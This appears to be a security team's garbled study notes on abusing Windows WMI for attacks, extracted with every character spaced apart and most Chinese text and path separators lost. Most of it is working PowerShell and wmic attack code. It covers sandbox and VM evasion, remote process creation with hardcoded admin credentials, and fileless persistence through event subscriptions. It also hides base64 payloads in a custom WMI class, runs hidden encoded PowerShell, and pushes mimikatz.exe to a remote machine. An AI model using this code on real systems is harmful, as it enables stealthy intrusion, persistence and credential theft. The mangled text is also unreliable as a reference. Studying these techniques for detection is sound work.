[27058] 2020-08-10_WMI——重写版

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-08-10_WMI——重写版 W M I       M s 0 8 0 6 7   2 0 2 0 - 0 8 - 1 0 ( ) W M I B l a c k   H a t   2 0 1 5 A b u s i n g   W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n   ( W M I )   t o   B u i l d   a   P e r s i s t e n t ,   A s y n c r o n o u s ,   a n d   F i l e l e s s   B a c k d o o r T y p o r a   W M I W M I   W M I   W i n d o w s W M I M i c r o s o f t W e b W B E M C I M D M T F M i c r o s o f t   +   C I M   +   W B E M   + D M T F   =   W M I M S D N   W M I W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n   ( W M I )   i s   t h e   i n f r a s t r u c t u r e   f o r   m a n a g e m e n t   d a t a   a n d   o p e r a t i o n s   o n   W i n d o w s - b a s e d   o p e r a t i n g   s y s t e m s W i n d o w s W M I W i n d o w s W M I W i n d o w s   2 0 0 0 W i n d o w s   W M I 使   ( C I M )   C I M 使   C l a s s " ( ) O b j e c t N a m e s p a c e P r o p e r t y M e t h o d ) W M I S c h e m a S c h e m a   M i c r o s o f t   W i n d o w s   S D K   使   S c h e m a   :   C I M   S c h e m a     W i n   3 2   S c h e m a   C I M   S c h e m a   C l a s s   使   " C I M _ "   W i n 3 2   S c h e m a   C l a s s 使   " W i n 3 2 _ "   W M I W M I   W m i E x p l o r e r     N a m e s p a c e s C l a s s P r o p e r t y M e t h o d W m i E x p l o r e r N a m e s p a c e C l a s s P r o p e r t i e s M e t h o d s W M I P o w e r s h e l l w m i c . e x e w b e m t e s t . e x e w i n r m . e x e   a n d   w i n r m . v b s W M I   E x p l o r e r W M I   E x p l o r e r   2 . 0 . 0 . 2 W M I   E x p l o r e r W M I   T o o l s C I M   E x p l o r e r   2 0 2 0 ( V B s c r i p t p o w e r s h e l l   ) W i n d o w s   S c r i p t   H o s t   L a n g u a g e s V B S c r i p t     J S c r i p t I W b e m *   C O M   A P I . N E T   S y s t e m . M a n a g e m e n t   c l a s s e s L i n u x w m i c   a n d   w m i s W M I   C o d e   C r e a t o r C # V B   . n e t   V B   S c r i p t W M I G e n W M I I W b e m *   C O M   A P I . N E T   S y s t e m . M a n a g e m e n t   c l a s s e s 使 W M I   E x p l o r e r   G U I W M I   Q u e r y   L a n g u a g e   ( W Q L )
Q u e r y i n g   w i t h   W Q L ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / q u e r y i n g - w i t h - w q l ) W Q L   ( S Q L   f o r   W M I ) ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / w q l - s q l - f o r - w m i ) W M I   W Q L A N S I   S Q L   W Q L : D a t a   q u e r i e s E v e n t   q u e r i e s S c h e m a   q u e r i e s   d a t a   q u e r i e s   使 W Q L 使   M e t h o d s   R e m o t e   W M I   P r o t o c o l s W M I   使 R e m o t e   W M I :   ( D C O M )     W i n d o w s     ( W i n R M ) D C O M M i c r o s o f t   T C P   1 3 5     D C E   R P C   e n d - p o i n t   m a p p e r D C O M H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t R p c I n t e r n e t P o r t s D C O M C N F G . e x e   使   T C P   1 3 5   1 0 2 4     6 5 5 3 5   W m i   S e r v i c e   W i n m g m t   1 3 5 W i n R M / P o w e r S h e l l   R e m o t i n g A b o u t   W i n d o w s   R e m o t e   M a n a g e m e n t ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w i n r m / a b o u t - w i n d o w s - r e m o t e - m a n a g e m e n t ) W i n d o w s   R e m o t e   M a n a g e m e n t ( W i n r m ) , W S - M a n a g e m e n t   W s - M a n   S O A P D M T F W i n R M W S - M a n   W i n d o w s   D M T F W M I W i n d o w s   V i s t a W i n d o w s   W i n d o w s   S e r v e r   2 0 0 8     W i n R M W i n R M 使 W i n R M W S - M a n   W s - M a n   H T T P   H T T P S : H T T P ( 5 9 8 5 ) H T T P S ( 5 9 8 6 )   W i n r m   q u i c k c o n f i g   N T L M   o r   K e r b e r o s P a s s   T h e   H a s h P a s s   T h e   T i c k e t   W m i   W i n R M P o w e r s h e l l - D C O M P o w e r s h e l l   v 3   P o w e r s h e l l     C m d l e t s : C I M   C m d l e t s W M I   C m d l e t s n a m e s p a c e , n a m e s p a c e     r o o t C I M v 2 C I M   c m d l e t s   W M I   C m d l e t s     C I M   C m d l e t s   使 W S M A N W i n R M ) W M I   C m d l e t s   D C O M   C I M   C m d l e t s   使 D C O M   使   - P r o t o c o l   退 D C O M S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ C L A S S   N A M E ]   < W H E R E   [ C O N S T R A I N T ] > S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ I N T R I N S I C   C L A S S   N A M E ]   W I T H I N   [ P O L L I N G I N T E R V A L ]   < W H E R E   [ C O N S T R A I N T ] > S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ M e t a _ C l a s s < W H E R E   [ C O N S T R A I N T ] > # W M I   C m d l e t s $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d # G e t - W m i O b j e c t   - C o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l   - C l a s s W i n 3 2 _ P r o c e s s   | S e l e c t - O b j e c t   N a m e , P r o c e s s I d #
P o w e r s h e l - W i n R M # # W Q L G e t - W m i O b j e c t   - Q u e r y   " s e l e c t   *   f r o m   W i n 3 2 _ P r o c e s s "   | S e l e c t - O b j e c t   N a m e , P r o c e s s I D # P o w e r s h e l - W i n R M # C I M   c m d l e t s $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C i m S e s s i o n O p t i o n   =   N e w - C i m S e s s i o n O p t i o n   - P r o t o c o l   D c o m $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l   - S e s s i o n O p t i o n   $ C i m S e s s i o n O p t i o n l s   w s m a n : l o c a l h o s t   # W S m a n # $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l G e t - C i m I n s t a n c e   - C i m S e s s i o n   $ C i m S e s s i o n   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   | S e l e c t - O b j e c t N a m e , P r o c e s s I d
W M I   E v e n t i n g W M I   W M I   E v e n t i n g     S i n g l e   p r o c e s s   c o n t e x t   ( P e r m a n e n t   W M I   E v e n t   S u b s c r i p t i o n s W M I   ) P e r m a n e n t   W M I   E v e n t   S u b s c r i p t i o n s W M I   W M I   r e p o s i t o r y / W M I S y s t e m W M I   r e p o s i t o r y   % S y s t e m R o o t % S y s t e m 3 2 w b e m R e p o s i t o r y O B J E C T S . D A T A W M I   E v e n t i n g   3 3   E v e n t   F i l t e r E v e n t   F i l t e r   W Q L     I n t r i n s i c   E v e n t s ) E x t r i n s i c   E v e n t s   ( ) E v e n t   C o n s u m e r E v e n t   C o n s u m e r   5 A c t i v e S c r i p t E v e n t C o n s u m e r V B S c r i p t / J S C r i p t C o m m a n d L i n e E v e n t C o n s u m e r 使 L o g F i l e E v e n t C o n s u m e r N T E v e n t L o g E v e n t C o n s u m e r : E v e n t L o g S M T P E v e n t C o n s u m e r S M T P F i l t e r   t o   C o n s u m e r   B i n d i n g F i l t e r   t o   C o n s u m e r   B i n d i n g     F i l t e r     C o n s u m e r   3 W M I W M I   A t t a c k s R e c o n n a i s s a n c e V M / S a n d b o x   D e t e c t i o n C o d e   e x e c u t i o n   a n d   l a t e r a l   m o v e m e n t P e r s i s t e n c e D a t a   s t o r a g e C 2   c o m m u n i c a t i o n R e c o n n a i s s a n c e G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ E v e n t F i l t e r G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ E v e n t C o n s u m e r G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g # H o s t / O S   i n f o r m a t i o n :   R O O T C I M V 2 : W i n 3 2 _ O p e r a t i n g S y s t e m W i n 3 2 _ C o m p u t e r S y s t e m ,   R O O T C I M V 2 : W i n 3 2 _ B I O S F i l e / d i r e c t o r y   l i s t i n g :   R O O T C I M V 2 : C I M _ D a t a F i l e D i s k   v o l u m e   l i s t i n g :   R O O T C I M V 2 : W i n 3 2 _ V o l u m e R e g i s t r y   o p e r a t i o n s :   R O O T D E F A U L T : S t d R e g P r o v R u n n i n g   p r o c e s s e s :   R O O T C I M V 2 : W i n 3 2 _ P r o c e s s S e r v i c e   l i s t i n g :   R O O T C I M V 2 : W i n 3 2 _ S e r v i c e E v e n t   l o g :   R O O T C I M V 2 : W i n 3 2 _ N t L o g E v e n t
w m i c 使 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n P o w e r s h e l l   c m d l e t s   M S D N w m i c     a l i a s     c l a s s   p r o p e r t y m e t h o d     w m i c   a l i a s   q f e   l i s t   b r i e f   W M I   A t t a c k s     V M / S a n d b o x   D e t e c t i o n V M / S a n d b o x   V M / S a n d b o x W M I   A t t a c k s     V M / S a n d b o x   D e t e c t i o n   ( V M w a r e ) V M / S a n d b o x   V M w a r e   V m w a r e P o w e r s h e l l     G e t - W m i O b j e c t     使 W Q L     - q u e r y   使 W Q L W M I   A t t a c k s     C o d e   E x e c u t i o n   a n d   L a t e r a l   M o v e m e n t   K e r b e r o s L o g g e d   o n   a c c o u n t s :   R O O T C I M V 2 : W i n 3 2 _ L o g g e d O n U s e r M o u n t e d   s h a r e s :   R O O T C I M V 2 : W i n 3 2 _ S h a r e I n s t a l l e d   p a t c h e s :   R O O T C I M V 2 : W i n 3 2 _ Q u i c k F i x E n g i n e e r i n g I n s t a l l e d   A V :   R O O T S e c u r i t y C e n t e r [ 2 ] : A n t i V i r u s P r o d u c t # , S e l e c t - O b j e c t   F o r m a t - L i s t   F o r m a t - T a b l e   c m d l e t s G e t - C i m I n s t a n c e   - C l a s s N a m e   W i n 3 2 _ Q u i c k F i x E n g i n e e r i n g S E L E C T   *   F R O M   W i n 3 2 _ C o m p u t e r S y s t e m   W H E R E   T o t a l P h y s i c a l M e m o r y   <   2 1 4 7 4 8 3 6 4 8 S E L E C T   *   F R O M   W i n 3 2 _ C o m p u t e r S y s t e m   W H E R E   N u m b e r O f L o g i c a l P r o c e s s o r s   <   2 $ V M D e t e c t e d   =   $ F a l s e $ A r g u m e n t s   =   @ { C l a s s   =   ' W i n 3 2 _ C o m p u t e r S y s t e m ' F i l t e r   =   ' N u m b e r O f L o g i c a l P r o c e s s o r s   <   2   A N D   T o t a l P h y s i c a l M e m o r y   <   2 1 4 7 4 8 3 6 4 8 ' } i f   ( G e t - W m i O b j e c t   @ A r g u m e n t s )   {   $ V M D e t e c t e d   =   $ T r u e   } e c h o   $ V M D e t e c t e d   =   $ F a l s e # $ V M D e t e c t e d   T r u e S E L E C T   *   F R O M   W i n 3 2 _ N e t w o r k A d a p t e r   W H E R E   M a n u f a c t u r e r   L I K E   " % V M w a r e % " S E L E C T   *   F R O M   W i n 3 2 _ B I O S   W H E R E   S e r i a l N u m b e r   L I K E   " % V M w a r e % " S E L E C T   *   F R O M   W i n 3 2 _ P r o c e s s   W H E R E   N a m e = " v m t o o l s d . e x e " S E L E C T   *   F R O M   W i n 3 2 _ N e t w o r k A d a p t e r   W H E R E   N a m e   L I K E   " % V M w a r e % " # V m w a r e     V M / S a n d b o x $ V M w a r e D e t e c t e d   =   $ F a l s e $ V M A d a p t e r   =   G e t - W m i O b j e c t   W i n 3 2 _ N e t w o r k A d a p t e r   - F i l t e r   ' M a n u f a c t u r e r   L I K E " % V M w a r e % "   O R   N a m e   L I K E   " % V M w a r e % " ' $ V M B i o s   =   G e t - W m i O b j e c t   W i n 3 2 _ B I O S   - F i l t e r   ' S e r i a l N u m b e r   L I K E   " % V M w a r e % " ' $ V M T o o l s R u n n i n g   =   G e t - W m i O b j e c t   W i n 3 2 _ P r o c e s s   - F i l t e r   ' N a m e = " v m t o o l s d . e x e " ' i f   ( $ V M A d a p t e r   - o r   $ V M B i o s   - o r   $ V M T o o l s R u n n i n g )   {   $ V M w a r e D e t e c t e d   =   $ T r u e   } e c h o   $ V M D e t e c t e d   =   $ F a l s e # W Q L   O R $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l I n v o k e - C i m M e t h o d   - C i m S e s s i o n   $ C i m S e s s i o n   - N a m e   C r e a t e   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   - A r g u m e n t s   @ { C o m m a n d L i n e   =   ' n o t e p a d . e x e ' }
W M I   A t t a c k s     P e r s i s t e n c e 使 W M I   E v e n t i n g 使 W m i E x p l o r e r P r o c e s s   E x p l o r e r c a l c . e x e 使 线   W M I     P e r s i s t e n c e   P o w e r s h e l l   h t t p s : / / g i t h u b . c o m / n 0 p e - s l e d / W M I - P e r s i s t e n c e / b l o b / m a s t e r / W M I - P e r s i s t e n c e . p s 1 I n v o k e - C i m M e t h o d   - C i m S e s s i o n   $ C i m S e s s i o n   - N a m e   C r e a t e   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   - A r g u m e n t s   @ { C o m m a n d L i n e   =   ' n o t e p a d . e x e ' } $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l   I n v o k e W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   ' n o t e p a d . e x e '   - C o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ f i l t e r N a m e   =   ' E v e n t F i l t e r ' $ c o n s u m e r N a m e   =   ' C o n s u m e r N a m e ' $ e x e P a t h   =   ' C : W i n d o w s S y s t e m 3 2 c a l c . e x e ' $ Q u e r y   =   " S E L E C T   *   F R O M   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   W I T H I N   6 0   W H E R E   T a r g e t I n s t a n c e   I S A   ' W i n 3 2 _ P e r f F o r m a t t e d D a t a _ P e r f O S _ S y s t e m '   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   > =   2 4 0   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   <   3 2 5 " # F l t e r   使 $ W M I E v e n t F i l t e r   =   S e t - W m i I n s t a n c e   - C l a s s   _ _ E v e n t F i l t e r   - N a m e S p a c e " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { N a m e = $ f i l t e r N a m e ; E v e n t N a m e S p a c e = " r o o t c i m v 2 " ; Q u e r y L a n g u a g e = " W Q L " ; Q u e r y = $ Q u e r y } - E r r o r A c t i o n   S t o p # E v e n t   F i l t e r $ W M I E v e n t C o n s u m e r   =   S e t - W m i I n s t a n c e   - C l a s s   C o m m a n d L i n e E v e n t C o n s u m e r   - N a m e s p a c e " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { N a m e = $ c o n s u m e r N a m e ; E x e c u t a b l e P a t h = $ e x e P a t h ; C o m m a n d L i n e T e m p l a t e = $ e x e P a t h } # E v e n t   C o n s u m e r S e t - W m i I n s t a n c e   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g   - N a m e s p a c e   " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { F i l t e r = $ W M I E v e n t F i l t e r ; C o n s u m e r = $ W M I E v e n t C o n s u m e r } # F i l t e r   t o   C o n s u m e r   B i n d i n g # R e m o v e - C i m I n s t a n c e   - Q u e r y   " S e l e c t   *   f r o m   _ _ E v e n t F i l t e r   w h e r e   N a m e   =   ' E v e n t F i l t e r ' "   - N a m e s p a c e   " r o o t s u b s c r i p t i o n " # W M I E v e n t F i l t e r R e m o v e - C i m I n s t a n c e   - Q u e r y   " S E L E C T   *   F R O M   C o m m a n d L i n e E v e n t C o n s u m e r   W H E R E   N a m e = ' c o n s u m e r N a m e ' "   - N a m e s p a c e   " r o o t s u b s c r i p t i o n " # W M I E v e n t C o n s u m e r # F i l t e r T o C o n s u m e r B i n d i n g C I M   c m d l e t s   W M I   c m d l e t s   G e t - W m i O b j e c t   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g   - N a m e s p a c e   " r o o t s u b s c r i p t i o n "   - F i l t e r   " C o n s u m e r = ' C o m m a n d L i n e E v e n t C o n s u m e r . N a m e = ' C o n s u m e r N a m e ' ' "   | R e m o v e W m i O b j e c t   - V e r b o s e
3 I n s t a l l - P e r s i s t e n c e R e m o v e P e r s i s t e n c e C h e c k - W M I 使   $ P a y l o a d   线   P o w e r s h e l l w m i c   W M I   A t t a c k s     D a t a   S t o r a g e w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   _ _ E v e n t F i l t e r   C R E A T E   N a m e = " E v e n t F i l t e r " ,   E v e n t N a m e S p a c e = " r o o t c i m v 2 " , Q u e r y L a n g u a g e = " W Q L " , Q u e r y = " S E L E C T   *   F R O M   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   W I T H I N   6 0   W H E R E   T a r g e t I n s t a n c e I S A   ' W i n 3 2 _ P e r f F o r m a t t e d D a t a _ P e r f O S _ S y s t e m ' " # W M I   E v e n t F i l t e r #   6 0 w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   C o m m a n d L i n e E v e n t C o n s u m e r   C R E A T E N a m e = " C o n s u m e r N a m e " , E x e c u t a b l e P a t h = " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " , C o m m a n d L i n e T e m p l a t e = " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " # W M I   E v e n t   C o n s u m e r # c a l c w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   _ _ F i l t e r T o C o n s u m e r B i n d i n g   C R E A T E F i l t e r = " _ _ E v e n t F i l t e r . N a m e = " E v e n t F i l t e r " " , C o n s u m e r = " C o m m a n d L i n e E v e n t C o n s u m e r . N a m e = " C o n s u m e r N a m e " " # W M I   E v e n t   F i l t e r T o C o n s u m e r B i n d i n g $ S t a t i c C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( ' r o o t c i m v 2 ' ,   $ n u l l , $ n u l l ) $ S t a t i c C l a s s . N a m e   =   ' W i n 3 2 _ E v i l C l a s s ' $ S t a t i c C l a s s . P u t ( ) $ S t a t i c C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' , " T h i s   i s   n o t   t h e   m a l w a r e   y o u ' r e l o o k i n g   f o r " ) $ S t a t i c C l a s s . P u t ( ) # # ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] # V a l u e ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e
W M I   A t t a c k s     C 2   C o m m u n i c a t i o n   ( W M I   C l a s s )     P u s h   A t t a c k $ L o c a l F i l e P a t h   =   " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " $ F i l e B y t e s   =   [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ F i l e B y t e s ) $ S t a t i c C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( ' r o o t c i m v 2 ' ,   $ n u l l , $ n u l l ) $ S t a t i c C l a s s . N a m e   =   ' W i n 3 2 _ E v i l C l a s s ' $ S t a t i c C l a s s . P u t ( ) $ S t a t i c C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' , $ E n c o d e d F i l e C o n t e n t s T o D r o p ) $ S t a t i c C l a s s . P u t ( ) $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ] ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e # c a l c   B a s e 6 4 W i n 3 2 _ e v i l C l a s s     E v i l P r o p e r t y   # # p o w e r s h e l l $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - e p   b y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - W i n d o w S t y l e   H i d d e n   - e n c   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t $ P o w e r S h e l l P a y l o a d $ P o w e r S h e l l P a y l o a d   =   " c m d   / k   $ E n c o d e d P a y l o a d " I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t $ P o w e r S h e l l P a y l o a d #   P r e p   f i l e   t o   d r o p   o n   r e m o t e   s y s t e m $ L o c a l F i l e P a t h   =   ' C : W i n d o w s S y s t e m 3 2 c a l c . e x e ' # $ F i l e B y t e s   =   [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ F i l e B y t e s ) #   E s t a b l i s h   r e m o t e   W M I   c o n n e c t i o n $ O p t i o n s   =   N e w - O b j e c t   M a n a g e m e n t . C o n n e c t i o n O p t i o n s $ O p t i o n s . U s e r n a m e   =   ' 0 d a y A d m i n i s t r a t o r ' $ O p t i o n s . P a s s w o r d   =   ' A d m i n ! @ # 4 5 ' $ O p t i o n s . E n a b l e P r i v i l e g e s   =   $ T r u e $ C o n n e c t i o n   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t S c o p e $ C o n n e c t i o n . P a t h   =   ' 1 9 2 . 1 6 8 . 3 . 1 4 2 r o o t d e f a u l t ' $ C o n n e c t i o n . O p t i o n s   =   $ O p t i o n s $ C o n n e c t i o n . C o n n e c t ( ) #   " P u s h "   f i l e   c o n t e n t s $ E v i l C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( $ C o n n e c t i o n ,   [ S t r i n g ] : : E m p t y , $ n u l l ) $ E v i l C l a s s [ ' _ _ C L A S S ' ]   =   ' W i n 3 2 _ E v i l C l a s s ' $ E v i l C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' ,   [ M a n a g e m e n t . C i m T y p e ] : : S t r i n g ,   $ F a l s e ) $ E v i l C l a s s . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . V a l u e   =   $ E n c o d e d F i l e C o n t e n t s T o D r o p $ E v i l C l a s s . P u t ( )
D a t a   S t o r a g e   D C O M     C l a s s     P r o p e r t i e s   @ W i n   1 0   1 8 0 9   W i n d o w s   S e r v e r   2 0 0 8   R 2 使 W M I   C 2     C l a s s     P r o p e r t i e s   W M I   B a c k d o o r ( h t t p s : / / j u e j i n . i m / p o s t / 5 a a 1 1 7 a 1 f 2 6 5 d a 2 3 8 4 4 0 2 9 4 9 ) W M I   A t t a c k s     C 2   C o m m u n i c a t i o n   ( R e g i s t r y )     P u l l   A t t a c k $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e $ P o w e r S h e l l P a y l o a d   =   " c m d   / k   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d #   1 9 2 . 1 6 8 . 3 . 1 4 2   ( [ W m i C l a s s ] ' 1 9 2 . 1 6 8 . 3 . 1 4 2 : W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e # p o w e r s h e l l 使 $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ]   ' W i n 3 2 _ C o m m a n d ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . V a l u e # P o w e r S h e l l $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - e p   b y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - W i n d o w S t y l e   H i d d e n   - e n c   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   # #   P r e p   f i l e   t o   d r o p   o n   r e m o t e   s y s t e m $ L o c a l F i l e P a t h = C : U s e r s j e r r y m i m i k a t z . e x e $ F i l e B y t e s = [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g   ( $ F i l e B y t e s ) #   E s t a b l i s h   r e m o t e   W M I   c o n n e c t i o n $ O p t i o n s = N e w - O b j e c t M a n a g e m e n t . C o n n e c t i o n O p t i o n s $ O p t i o n s . U s e r n a m e   = 0 d a y A d m i n i s t r a t o r $ O p t i o n s . P a s s w o r d   = A d m i n ! @ # 4 5 $ O p t i o n s . E n a b l e P r i v i l e g e s   = $ T r u e $ C o n n e c t i o n = N e w - O b j e c t M a n a g e m e n t . M a n a g e m e n t S c o p e $ C o n n e c t i o n . P a t h   = 1 9 2 . 1 6 8 . 3 . 1 4 2 r o o t d e f a u l t $ C o n n e c t i o n . O p t i o n s   = $ O p t i o n s $ C o n n e c t i o n . C o n n e c t ( ) #   P u s h   f i l e   c o n t e n t s $ E v i l C l a s s = N e w - O b j e c t M a n a g e m e n t . M a n a g e m e n t C l a s s ( $ C o n n e c t i o n , [ S t r i n g ] : : E m p t y , $ n u l l ) $ E v i l C l a s s [ _ _ C L A S S ] = W i n 3 2 _ E v i l C l a s s $ E v i l C l a s s . P r o p e r t i e s . A d d ( E v i l P r o p e r t y , [ M a n a g e m e n t . C i m T y p e ] : : S t r i n g , $ F a l s e ) $ E v i l C l a s s . P r o p e r t i e s [ E v i l P r o p e r t y ] . V a l u e   = $ E n c o d e d F i l e C o n t e n t s T o D r o p $ E v i l C l a s s . P u t ( ) # $ C r e d e n t i a l = G e t - C r e d e n t i a l W I N - B 8 5 A A A 7 S T 4 U A d m i n i s t r a t o r   $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C o m m o n A r g s =   @ { C r e d e n t i a l   = $ C r e d e n t i a l C o m p u t e r N a m e   = 1 9 2 . 1 6 8 . 7 2 . 1 3 4 } #   T h e   P o w e r S h e l l   p a y l o a d   t h a t   w i l l   d r o p   t h e   s t o r e d   f i l e   c o n t e n t s $ P a y l o a d T e x t = @ $ E n c o d e d F i l e   =   ( [ W m i C l a s s ]   r o o t d e f a u l t : W i n 3 2 _ E v i l C l a s s ) . P r o p e r t i e s [ E v i l P r o p e r t y ] . V a l u e [ I O . F i l e ] : : W r i t e A l l B y t e s ( C : U s e r s A d m i n i s t r a t o r m i m i k a t z . e x e , [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ E n c o d e d F i l e ) ) @ $ E n c o d e d P a y l o 